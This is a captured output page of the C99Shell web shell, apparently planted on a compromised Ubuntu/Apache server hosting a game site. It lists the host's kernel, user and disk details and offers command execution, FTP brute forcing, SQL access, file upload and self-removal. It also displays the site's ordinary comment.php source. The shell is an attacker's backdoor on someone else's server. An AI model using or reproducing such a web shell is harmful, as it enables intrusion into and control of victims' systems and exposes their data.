!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/gamesdaddy/cloudarcade/includes/   drwxr-xr-x
Free 13.2 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     comment.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require('../config.php');
require(
'../init.php');

if(
$options['comments'] === 'true'){
    if(isset(
$_POST['send']) && $login_user){
        
$conn open_connection();
        if(isset(
$_POST['source']) && $_POST['source'] == 'jquery-comments'){
            if(!
$_POST['parent']){
                
$_POST['parent'] = null;
            }
            
$sql 'INSERT INTO comments (parent_id, game_id, comment, sender_id, sender_username, created_date) VALUES (:parent_id, :game_id, :comment, :sender_id, :sender_username, :created_date)';
            
$st $conn->prepare($sql);
            
$st->bindValue(":parent_id"$_POST['parent'], PDO::PARAM_INT);
            
$st->bindValue(":game_id"$_POST['game_id'], PDO::PARAM_INT);
            
$st->bindValue(":comment"$_POST['content'], PDO::PARAM_STR);
            
$st->bindValue(":sender_id"$login_user->idPDO::PARAM_INT);
            
$st->bindValue(":sender_username"$login_user->usernamePDO::PARAM_STR);
            
$st->bindValue(":created_date"date('Y-m-d H:m:s'), PDO::PARAM_STR);
            
$st->execute();

            
$login_user->add_xp(20);

            echo(
'success');
        }
    }

    if(isset(
$_POST['load']) && isset($_POST['game_id'])){
        
$conn open_connection();
        
$sql 'SELECT * FROM comments WHERE game_id = :game_id ORDER BY parent_id asc, id asc';
        
$st $conn->prepare($sql);
        
$st->bindValue(":game_id"$_POST['game_id'], PDO::PARAM_INT);
        
$st->execute();
        
$row $st->fetchAll(PDO::FETCH_ASSOC);
        
$list = array();
        foreach (
$row as $item) {
            
$item['avatar'] = get_user_avatar($item['sender_username']);
            
$list[] = $item;
        }
        echo 
json_encode((array)$list);
    }
}

if(isset(
$_POST['delete']) && $login_user){
    
$conn open_connection();
    
$sql 'DELETE FROM comments WHERE sender_id = :sender_id AND id = :id LIMIT 1';
    
$st $conn->prepare($sql);
    
$st->bindValue(":sender_id"$login_user->idPDO::PARAM_INT);
    
$st->bindValue(":id"$_POST['id'], PDO::PARAM_INT);
    
$st->execute();

    echo 
'deleted';
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0061 ]--